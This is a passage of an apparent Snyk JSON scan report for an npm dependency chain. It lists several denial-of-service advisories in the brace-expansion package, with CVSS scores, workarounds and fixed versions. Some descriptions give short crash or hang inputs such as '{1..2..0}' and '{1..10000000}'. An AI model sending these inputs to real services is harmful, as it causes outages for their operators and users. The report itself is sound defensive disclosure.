"2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 